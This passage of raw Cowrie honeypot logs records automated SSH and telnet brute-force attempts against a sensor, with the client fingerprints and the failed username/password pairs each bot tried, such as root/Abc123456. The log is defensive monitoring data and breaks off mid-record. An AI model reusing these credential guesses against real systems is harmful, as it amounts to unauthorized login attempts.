{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47294,"dst_ip":"10.17.0.5","dst_port":23,"session":"df971ce4c914","protocol":"telnet","message":"New connection: 152.42.224.71:47294 (10.17.0.5:23) [session: df971ce4c914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:21.583888Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:21.661201Z","src_ip":"45.156.87.204","session":"d81a0d4f51d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:22.159356Z","src_ip":"45.156.87.204","session":"d81a0d4f51d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:23.248211Z","src_ip":"45.156.87.204","session":"d81a0d4f51d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47298,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1ba892254e9","protocol":"telnet","message":"New connection: 152.42.224.71:47298 (10.17.0.5:23) [session: e1ba892254e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:25.149403Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33858,"dst_ip":"159.203.135.109","dst_port":22,"session":"1680d2cb5a43","protocol":"ssh","message":"New connection: 45.156.87.204:33858 (159.203.135.109:22) [session: 1680d2cb5a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:25.386878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:25.391518Z","src_ip":"45.156.87.204","session":"1680d2cb5a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:25.473907Z","src_ip":"45.156.87.204","session":"1680d2cb5a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:25.724080Z","src_ip":"45.156.87.204","session":"1680d2cb5a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:26.811372Z","src_ip":"45.156.87.204","session":"1680d2cb5a43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33874,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1c8752c64bd","protocol":"ssh","message":"New connection: 45.156.87.204:33874 (159.203.135.109:22) [session: f1c8752c64bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:28.963888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:28.969021Z","src_ip":"45.156.87.204","session":"f1c8752c64bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:29.051858Z","src_ip":"45.156.87.204","session":"f1c8752c64bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:29.299402Z","src_ip":"45.156.87.204","session":"f1c8752c64bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:30.385200Z","src_ip":"45.156.87.204","session":"f1c8752c64bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42532,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8f99226f4b1","protocol":"ssh","message":"New connection: 45.156.87.204:42532 (159.203.135.109:22) [session: a8f99226f4b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:32.755588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:32.760364Z","src_ip":"45.156.87.204","session":"a8f99226f4b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:32.842505Z","src_ip":"45.156.87.204","session":"a8f99226f4b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:33.088085Z","src_ip":"45.156.87.204","session":"a8f99226f4b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.33014488220215,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:33.517577Z","src_ip":"152.42.224.71","session":"7c93e2c06c7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35638,"dst_ip":"10.17.0.5","dst_port":23,"session":"33bcd33eb69b","protocol":"telnet","message":"New connection: 152.42.224.71:35638 (10.17.0.5:23) [session: 33bcd33eb69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:33.616961Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:34.175827Z","src_ip":"45.156.87.204","session":"a8f99226f4b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42548,"dst_ip":"159.203.135.109","dst_port":22,"session":"b89a38381d43","protocol":"ssh","message":"New connection: 45.156.87.204:42548 (159.203.135.109:22) [session: b89a38381d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:36.298504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:36.303679Z","src_ip":"45.156.87.204","session":"b89a38381d43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:36.386690Z","src_ip":"45.156.87.204","session":"b89a38381d43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:36.633306Z","src_ip":"45.156.87.204","session":"b89a38381d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:37.719838Z","src_ip":"45.156.87.204","session":"b89a38381d43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42568,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fa4e2e7ae08","protocol":"ssh","message":"New connection: 45.156.87.204:42568 (159.203.135.109:22) [session: 1fa4e2e7ae08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:40.136174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:40.153420Z","src_ip":"45.156.87.204","session":"1fa4e2e7ae08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:40.233484Z","src_ip":"45.156.87.204","session":"1fa4e2e7ae08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:40.538848Z","src_ip":"45.156.87.204","session":"1fa4e2e7ae08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.085763454437256,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:40.721191Z","src_ip":"152.42.224.71","session":"594775789dcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:41.623115Z","src_ip":"45.156.87.204","session":"1fa4e2e7ae08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45514,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eb3d0bdbe0e","protocol":"telnet","message":"New connection: 152.42.224.71:45514 (10.17.0.5:23) [session: 5eb3d0bdbe0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:42.426499Z"}
{"eventid":"cowrie.session.closed","duration":99.84520030021667,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:43.081887Z","src_ip":"152.42.224.71","session":"3da797dbdd58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45524,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9b70ac51e11","protocol":"telnet","message":"New connection: 152.42.224.71:45524 (10.17.0.5:23) [session: f9b70ac51e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:43.508192Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58134,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcacc7de2e2e","protocol":"ssh","message":"New connection: 45.156.87.204:58134 (159.203.135.109:22) [session: fcacc7de2e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:43.713688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:43.718834Z","src_ip":"45.156.87.204","session":"fcacc7de2e2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:43.801371Z","src_ip":"45.156.87.204","session":"fcacc7de2e2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:44.052053Z","src_ip":"45.156.87.204","session":"fcacc7de2e2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:45.136226Z","src_ip":"45.156.87.204","session":"fcacc7de2e2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.01857209205627,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:45.149517Z","src_ip":"152.42.224.71","session":"0138fd95973e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58140,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf7c5d9fa8f8","protocol":"ssh","message":"New connection: 45.156.87.204:58140 (159.203.135.109:22) [session: bf7c5d9fa8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:47.531032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:35:47.604751Z","src_ip":"45.156.87.204","session":"bf7c5d9fa8f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 